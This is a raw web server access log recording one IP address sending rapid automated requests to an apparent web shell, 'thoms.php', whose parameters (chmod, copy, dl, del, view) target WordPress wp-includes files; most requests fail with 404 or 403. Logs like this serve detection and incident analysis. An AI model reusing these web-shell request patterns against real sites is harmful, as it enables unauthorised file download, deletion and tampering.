45.135.193.11 - - [11/Sep/2026:23:55:24 -0400] "GET /biotaiwan.com.tw/wp-includes/blocks.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:24 -0400] "GET /thoms.php?chmod=atomlib.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=atomlib.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:24 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Ferror_log&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Ferror_log&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:24 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=link-template.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=link-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:24 -0400] "GET /thoms.php?dl=script-modules.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=script-modules.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:24 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fstyle-engine.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fstyle-engine.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:24 -0400] "GET /thoms.php?dl=theme-previews.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=theme-previews.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:24 -0400] "GET /thoms.php?dl=class-feed.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-feed.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:25 -0400] "GET /thoms.php?dl=class-wp-block-pattern-categories-registry.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-pattern-categories-registry.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:25 -0400] "GET /thoms.php?del=class-wp-exception.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-exception.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:25 -0400] "GET /thoms.php?chmod=class-wp-text-diff-renderer-inline.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-text-diff-renderer-inline.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:25 -0400] "GET /thoms.php?chmod=theme.json&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=theme.json&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:25 -0400] "GET /thoms.php?chmod=block-editor.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=block-editor.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:25 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-date-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:25 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-phpmailer.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-phpmailer.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:25 -0400] "GET /thoms.php?chmod=class-wp-locale-switcher.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-locale-switcher.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:25 -0400] "GET /thoms.php?chmod=embed-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=embed-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:25 -0400] "GET /thoms.php?chmod=interactivity-api&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=interactivity-api&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:25 -0400] "GET /thoms.php?del=pomo&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=pomo&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:25 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fatomlib.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fatomlib.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:25 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-locale-switcher.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-locale-switcher.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:25 -0400] "GET /thoms.php?dl=ms-deprecated.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-deprecated.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:25 -0400] "GET /thoms.php?dl=class-wp-post.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-post.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:25 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-fatal-error-handler.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:25 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-phpmailer.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:25 -0400] "GET /biotaiwan.com.tw/wp-includes/compat.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:25 -0400] "GET /thoms.php?del=class-wp-block-processor.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-processor.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:26 -0400] "GET /thoms.php?chmod=class-wp-view-config-data.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-view-config-data.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:26 -0400] "GET /thoms.php?del=default-constants.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=default-constants.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:26 -0400] "GET /thoms.php?del=feed-rdf.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=feed-rdf.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:26 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fblock-template-utils.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fblock-template-utils.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:26 -0400] "GET /thoms.php?dl=class-json.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-json.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:26 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-matchesmapregex.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:26 -0400] "GET /thoms.php?chmod=class-wp-block-templates-registry.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-templates-registry.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:26 -0400] "GET /thoms.php?del=class-wp-image-editor.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-image-editor.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:26 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-customize-control.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-customize-control.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:26 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Ffeed-atom-comments.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Ffeed-atom-comments.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:26 -0400] "GET /thoms.php?del=ms-default-filters.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-default-filters.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:26 -0400] "GET /thoms.php?del=pluggable-deprecated.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=pluggable-deprecated.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:26 -0400] "GET /thoms.php?chmod=script-modules.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=script-modules.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:26 -0400] "GET /thoms.php?chmod=html-api&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=html-api&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:26 -0400] "GET /thoms.php?dl=admin-bar.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=admin-bar.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:26 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-hook.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:26 -0400] "GET /thoms.php?del=author-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=author-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:27 -0400] "GET /thoms.php?dl=class-phpass.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-phpass.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:27 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-walker-page.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-walker-page.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:27 -0400] "GET /biotaiwan.com.tw/wp-includes/date.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:27 -0400] "GET /thoms.php?dl=class-wp-user-query.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-user-query.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:27 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fblocks&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fblocks&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:27 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-role.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:27 -0400] "GET /thoms.php?del=rest-api&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=rest-api&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:27 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-http-response.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-http-response.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:27 -0400] "GET /thoms.php?dl=class.wp-styles.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class.wp-styles.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:27 -0400] "GET /thoms.php?del=compat.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=compat.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:27 -0400] "GET /thoms.php?chmod=meta.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=meta.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:27 -0400] "GET /thoms.php?del=ms-network.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-network.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:27 -0400] "GET /biotaiwan.com.tw/wp-includes/block-patterns/ HTTP/1.1" 200 1519 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:27 -0400] "GET /biotaiwan.com.tw/wp-includes/atomlib.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:27 -0400] "GET /thoms.php?chmod=ai-client.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ai-client.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:27 -0400] "GET /thoms.php?dl=class-wp-block-metadata-registry.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-metadata-registry.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:27 -0400] "GET /thoms.php?dl=class-wp-fatal-error-handler.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-fatal-error-handler.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:27 -0400] "GET /thoms.php?del=class-wp-url-pattern-prefixer.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-url-pattern-prefixer.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:28 -0400] "GET /thoms.php?dl=media-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=media-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:28 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fpluggable-deprecated.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fpluggable-deprecated.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:28 -0400] "GET /thoms.php?chmod=default-widgets.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=default-widgets.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:28 -0400] "GET /biotaiwan.com.tw/wp-includes/rss.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:28 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=ms-functions.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=ms-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:28 -0400] "GET /thoms.php?del=class-wp-customize-nav-menus.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-nav-menus.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:28 -0400] "GET /thoms.php?chmod=class-wp-http-ixr-client.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-ixr-client.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:28 -0400] "GET /thoms.php?chmod=comment.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=comment.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
